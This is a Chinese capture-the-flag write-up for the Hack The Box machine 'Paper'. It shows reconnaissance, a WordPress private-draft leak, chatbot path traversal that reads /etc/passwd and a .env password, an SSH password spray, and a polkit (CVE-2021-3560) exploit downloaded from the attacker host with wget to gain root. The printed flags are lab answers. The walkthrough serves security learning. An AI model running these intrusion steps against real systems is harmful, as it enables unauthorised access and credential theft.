HTB:Paper[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
对靶机进行子域名FUZZ
编辑
对靶机主域名进行路径FUZZ
使用curl访问靶机主域名
对该域名进行路径FUZZ
边界突破
使用浏览器访问靶机后台域名/wp-admin路径
使用searchsploit搜索该CMS漏洞
查看该PoC内容
仿照PoC构造URL访问static=1的页面
使用浏览器访问秘密链接
点击左侧的general进入频道
使用hydra对靶机SSH服务进行密码喷洒
使用上述凭证登录靶机SSH服务
权限提升
查看该用户可sudo执行的二进制文件
查找系统内的SUID文件
查找系统内的CAP_SUID文件
操纵靶机从攻击机中下载linpeas.sh
为该脚本赋权并执行
在Github上寻找EXP
控制靶机将该EXP进行下载
连接至HTB服务器并启动靶机
靶机IP:
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80,443
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,80,443
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.143

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.143

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143

对靶机进行子域名FUZZ
ffuf -u http://paper.htb/ -H 'Host: FUZZ.paper.htb' -w ../dictionary/subdomains-top5000.txt -fw 1,2703
对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200

使用curl访问靶机主域名
curl -I http://10.10.11.143
- 由输出的响应头可见,靶机后端服务器域名为:office.paper
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Sat, 11 Jan 2025 06:10:25 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8
- 将该域名与靶机IP绑定
sed -i '1i 10.10.11.143 office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.143 office.paper
对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt

边界突破
使用浏览器访问靶机后台域名/wp-admin路径

- 使用wappalyzer查看该页技术栈

使用searchsploit搜索该CMS漏洞
searchsploit wordpress 5.2.3

- 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 47690.md
Exploit: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
URL: https://www.exploit-db.com/exploits/47690
Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md
Codes: CVE-2019-17671
Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/temp/47690.md
查看该PoC内容
cat 47690.md
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 47690.md
So far we know that adding `?static=1` to a wordpress URL should leak its secret contentHere are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
仿照PoC构造URL访问static=1的页面

- 经过简单的翻译可知,此人将秘密都放在了:http://chat.office.paper/register/8qozr226AhkCHZdyY
测试
迈克尔,看在上帝的份上,请把草稿中的秘密去掉!
你好,Blunder蒂芬的员工,
由于上级的命令,每个加入这个博客的员工都被删除了,他们被迁移到我们新的聊天系统。
所以,我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。
- 尼克
#警告迈克尔
迈克尔,你必须停止在草稿中添加秘密。这是一个巨大的安全问题,你必须停止这样做。
午夜威胁等级
电影银幕,
编剧和导演是
迈克尔·斯科特
[INT:DAY]
在联邦调查局内部,特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特
#新员工聊天系统的秘密注册URL
http://chat.office.paper/register/8qozr226AhkCHZdyY
#我保持这个草案未发布,因为未发布的草案不能被外部人员访问。我没那么无知尼克
#别再看我的草稿了天啊!
- 将该链接中的子域名与靶机IP进行绑定
sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n3 /etc/hosts
10.10.11.143 chat.office.paper
10.10.11.143 office.paper
10.10.11.143 paper.htb
使用浏览器访问秘密链接
- 访问后,该页提供一个注册表供用户填写相关注册信息

- 去掉相对路径后,访问主页面可见是一个登录界面,因此我们需要注册一个账号

- 将注册表单完整

- 注册完成后进入主界面

点击左侧的general进入频道
- 由聊天记录可知,recyclops是一个机器人,跟它私聊发送`help`获得使用手册

你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人,但在此之前,我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题,这样他就可以利用他宝贵的时间来.不和同事交流
最常见的问题包括:
- 现在几点了?
- 您的销售目录中有哪些新文件?
- 售货员为什么要过马路?
- 你的销售目录中x文件的内容是什么?等
请注意,我是一个测试版,我仍然有一些错误要修复。
如何使用我?:
1. Small Talk:
你可以问我德怀特的周末怎么样,或者他昨晚看了比赛吗等等。
你周末过得怎么样?或者‘你昨晚看比赛了吗?或者“什么样的熊是最好的?
2.笑话:
你可以问我为什么售货员要过马路。
为什么售货员要穿过马路?'
<==以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你,凯文。
出于安全原因,访问权限仅限于Sales文件夹。
3.档案:
例如:'cloops get me the file test.txt',或'cloops could you send me the file sale/secret.xls',或'cloops file test.txt'
4.列表:
你可以让我列出
例如:'recyclops i need directory list sale' or just 'recyclops list sale'
5.时间:
你可以问我几点了
现在几点了?或者只是“马蹄声时间”
这就是我现在能做的。
还有,德怀特是个很酷的家伙,而不是时间小偷!
- 经过简单分析可知
读取文件内容命令:recyclops file test.txt
列出目录文件命令:list
- 我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd
<!=====Contents of file ../../../../../etc/passwd=====>
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd❌998:996:User for polkitd:/:/sbin/nologin
geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
qemu❌107:107:qemu user:/:/sbin/nologin
apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
chrony❌993:987::/var/lib/chrony:/sbin/nologin
libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd❌75:75:radvd user:/:/sbin/nologin
clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sssd❌983:981:User for sssd:/:/sbin/nologin
colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
gdm❌42:42::/var/lib/gdm:/sbin/nologin
gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
mongod❌976:974:mongod:/var/lib/mongo:/bin/false
rocketchat❌1001:1001::/home/rocketchat:/bin/bash
dwight❌1004:1004::/home/dwight:/bin/bash<!=====End of file ../../../../../etc/passwd=====>
- 接着我尝试通过它举例的命令列出当前及上一级目录文件

- 这里我尝试直接读取user.txt被提示权限不足,因此我尝试列出hubot目录文件
list ../hubot

- 这里我迅速注意到了.env文件,该文件通常存储着用户凭证、敏感信息,尝试直接读取它
recyclops file ../hubot/.env
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1<!=====End of file ../hubot/.env=====>
- 通过阅读/etc/passwd可知,靶机可交互用户仅有:rocketchat、dwight
使用hydra对靶机SSH服务进行密码喷洒
echo -e "rocketchat\ndwight" > temp && hydra -L temp -p 'Queenofblad3s!23' ssh://10.10.11.143

账户:dwight
密码:Queenofblad3s!23
使用上述凭证登录靶机SSH服务
ssh dwight@10.10.11.143

- 在当前目录可找到user.txt文件
[dwight@paper ~]$ pwd
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh hubot sales user.txt
[dwight@paper ~]$ cat user.txt
c3d0d4b61c91f8879f560ad37c2d8dcc
权限提升
查看该用户可sudo执行的二进制文件
sudo -l
[dwight@paper ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.
查找系统内的SUID文件
find / -perm -4000 -type f -ls 2>/dev/null

查找系统内的CAP_SUID文件
getcap -r / 2>/dev/null | grep -i cap_suid
- 执行后无事发生
操纵靶机从攻击机中下载linpeas.sh
wget http://10.10.16.13:6666/linpeas.sh
- 攻击机收到请求
┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# php -S 0:6666
[Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing
为该脚本赋权并执行
chmod +x linpeas.sh
- 执行后可见靶机存在漏洞:CVE-2021-3560

在Github上寻找EXP
https://github.com/Almorabea/Polkit-exploit.git

控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
- 直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py

- 运行一段时间后成功提权
[root@paper dwight]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper dwight]# whoami
root

- 在/root目录下找到root.txt文件
[root@paper ~]# pwd
/root
[root@paper ~]# ls -la
total 44
dr-xr-x---. 8 root root 4096 Jan 10 22:17 .
dr-xr-xr-x. 17 root root 244 Jan 17 2022 ..
lrwxrwxrwx. 1 root root 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Jul 3 2021 .bash_logout
-rw-r--r--. 1 root root 176 Jul 3 2021 .bash_profile
-rw-r--r--. 1 root root 233 Jul 3 2021 .bashrc
drwx------. 3 root root 19 Jul 3 2021 .cache
drwx------. 6 root root 64 Jul 3 2021 .config
-rw-r--r--. 1 root root 100 May 11 2019 .cshrc
-rw-------. 1 root root 328 Feb 1 2022 .dbshell
drwx------. 3 root root 25 Jul 3 2021 .dbus
-rw-------. 1 root root 16 Jul 3 2021 .esd_auth
-rw-------. 1 root root 0 Jul 3 2021 .mongorc.js
drwxr-xr-x. 5 root root 83 Jul 3 2021 .npm
drwxr-xr-x. 2 root root 52 Jan 13 2022 .restore
drwx------. 2 root root 6 Sep 16 2021 .ssh
-rw-r--r--. 1 root root 129 May 11 2019 .tcshrc
-rw-------. 1 root root 1438 Jul 3 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 1593 Jul 3 2021 initial-setup-ks.cfg
-r--------. 1 root root 33 Jan 10 22:17 root.txt
[root@paper ~]# cat root.txt
324cb758819eb8e130f5261bcfae69dd
相关文章:
HTB:Paper[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 对靶机进行子域…...
数据库中的 DDL、DML 和 DCL
数据库中的 DDL、DML 和 DCL 在数据库的定义与操作中,DDL、DML 和 DCL 是三个核心概念,分别用于不同层面的数据库管理与操作。 1. DDL(Data Definition Language) - 数据定义语言 定义 DDL 用于定义和管理数据库的结构或模式。…...
OKR 极简史及理解
大家读完觉得有帮助记得点赞和关注!!! 目录 MBO SMART 和 KPI OKR 1. 什么是 OKR? 1.1 Objectives(目标) 1.2 Key Results(关键成果) KR 应当是困难的,但并非不可…...
电商项目-基于ElasticSearch实现商品搜索功能(四)
一、 高亮显示 1.1 高亮分析 高亮显示是指根据商品关键字搜索商品的时候,显示的页面对关键字给定了特殊样式,让它显示更加突出,如商品搜索中,关键字变成了红色,其实就是给定了红色样式。 1.2 高亮搜索实现步骤解析 …...
TCP封装数据帧
void *send_data(void *arg) //这是一个发送数据的线程 {int sockfd init_tcp_cli("192.168.0.148",50000) //传ip和port,port 50000是因为大概前五万都被其它服务所占用,50000后是私人ipif(sockfd < 0){return NULL;}unsigned char …...
数据结构与算法之二叉树: LeetCode 515. 在每个树行中找最大值 (Ts版)
在每个树行中找最大值 https://leetcode.cn/problems/find-largest-value-in-each-tree-row/description/ 描述 给定一棵二叉树的根节点 root ,请找出该二叉树中每一层的最大值 示例1 输入: root [1,3,2,5,3,null,9] 输出: [1,3,9]示例2 输入: root [1,2,3]…...
百度视频搜索架构演进
导读 随着信息技术的迅猛发展,搜索引擎作为人们获取信息的主要途径,其背后的技术架构也在不断演进。本文详细阐述了近年来视频搜索排序框架的重大变革,特别是在大模型技术需求驱动下,如何从传统的多阶段级联框架逐步演变为更加高…...
构造函数的原型原型链
代码示例 // 定义一个构造函数 Test function Test() {this.name 张三 }; //向构造函数的原型添加一个属性 age18 Test.prototype.age 18;//使用构造函数 Test 来实例化一个新对象 const test new Test();//向 Object.prototype 添加了一个名为 sex 的属性,其值…...
nginx反向代理及负载均衡
华子目录 nginx反向代理功能http反向代理反向代理配置参数proxy_pass的注意事项案例:反向代理单台后端服务器案例:反向代理实现动静分离案例:反向代理的缓存功能非缓存场景下测压准备缓存缓存场景下测压验证缓存文件 反向代理负载均衡&#x…...
单片机实物成品-011 火灾监测
火灾监测(20个版本) 版本20: oled显示温湿度烟雾浓度火焰传感器天然气浓度窗户风扇水泵排气系统声光报警语音播报按键WIFI模块 ----------------------------------------------------------------------------- https://www.bilibili.com…...
使用 Docker 在 Alpine Linux 下部署 Caddy 服务器
简介 在现代 web 开发中,选择合适的 web 服务器至关重要。Caddy 是一个功能强大的现代化 HTTP/2 服务器,支持自动 HTTPS,配置简单,适合开发和生产环境。Docker 则为我们提供了一种轻量级的容器化技术,使得应用程序的部…...
每日十题八股-2025年1月12日
1.为什么四次挥手之后要等2MSL? 2.服务端出现大量的timewait有哪些原因? 3.TCP和UDP区别是什么? 4.TCP为什么可靠传输 5.怎么用udp实现http? 6.tcp粘包怎么解决? 7.TCP的拥塞控制介绍一下? 8.描述一下打开百度首页后发生的网络过…...
Python中定位包含特定文本信息的元素
目录 一、为什么需要定位包含文本信息的元素 二、使用Selenium定位包含文本的元素 1. 使用find_element_by_link_text 2. 使用find_element_by_partial_link_text 3. 使用XPath定位包含文本的元素 4. 使用CSS选择器定位包含文本的元素 三、使用BeautifulSoup定位包含文本…...
uniapp实现H5页面内容居中与两边留白,打造类似微信公众号阅读体验
在 UniApp 中,由于需要兼容多端应用,我们通常使用 rpx 作为尺寸单位。然而,在某些情况下,如需要实现内容居中且两边留白时,直接使用 rpx 可能会带来一些限制。这时,我们可以考虑使用 px 或 rem 等单位&…...
极品飞车6里的赛道简介
极品飞车里有很多赛道,赛道分为前向赛道Forward、后向赛道Backward。前向赛道Forward是从A点到B点;后向赛道Backward是前向赛道的逆过程,即从B点到A点。这里介绍极品飞车6的赛道长度、中英文名称翻译、难度等级。 序号赛道英文名赛道中文名总长(km)急弯难度等级1Alpine Trai…...
SAP推出云端ERP解决方案,加速零售行业数字化转型
2025年1月9日,SAP发布了一款专为零售行业设计的云端ERP行业解决方案——S/4HANA Cloud Public Edition,进一步推动企业向云端迁移。这款解决方案旨在集中运营数据,整合财务、采购和商品管理流程,以帮助零售企业优化运营效率。 核…...
Python爬虫进阶——案例:模拟bilibili登录)
主要内容:模拟bilibili账号密码登录,不要实现的的实现功能是单击登录按钮,切换登录方式, 输入账号和密码,然后完成图片点击验证,最后单击立即登录按钮。 1、第一步:通过selenium模块访问bilibi…...
什么是数据分析?
什么是数据分析? 数据分析(Data Analysis)是指通过对数据进行收集、整理、处理、建模和解读,以揭示数据中的有用信息、支持决策和解决实际问题的过程。它是一门将数据转化为知识的学科,广泛应用于商业、科学研究、医疗…...
基于springboot的课程作业管理系统源码(springboot+vue+mysql)
风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的课程作业管理系统。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 可以管理首页、个人中心…...
多线程之旅:属性及其基本操作
上次分享到了,多线程中是是如何创建的,那么接下来,小编继续分享下多线程的相关知识。 多线程中的一些基本属性。 基本属性 属性获取方法IDgetId()名称getName()状态getState()优先级getPriority()是否后台线程isDemo()是否存活isAlive()是…...
【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...
使用分级同态加密防御梯度泄漏
抽象 联邦学习 (FL) 支持跨分布式客户端进行协作模型训练,而无需共享原始数据,这使其成为在互联和自动驾驶汽车 (CAV) 等领域保护隐私的机器学习的一种很有前途的方法。然而,最近的研究表明&…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
本期内容并不是很难,相信大家会学的很愉快,当然对于有后端基础的朋友来说,本期内容更加容易了解,当然没有基础的也别担心,本期内容会详细解释有关内容 本期用到的软件:yakit(因为经过之前好多期…...
CSS设置元素的宽度根据其内容自动调整
width: fit-content 是 CSS 中的一个属性值,用于设置元素的宽度根据其内容自动调整,确保宽度刚好容纳内容而不会超出。 效果对比 默认情况(width: auto): 块级元素(如 <div>)会占满父容器…...
【Go语言基础【12】】指针:声明、取地址、解引用
文章目录 零、概述:指针 vs. 引用(类比其他语言)一、指针基础概念二、指针声明与初始化三、指针操作符1. &:取地址(拿到内存地址)2. *:解引用(拿到值) 四、空指针&am…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
JavaScript基础-API 和 Web API
在学习JavaScript的过程中,理解API(应用程序接口)和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能,使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...

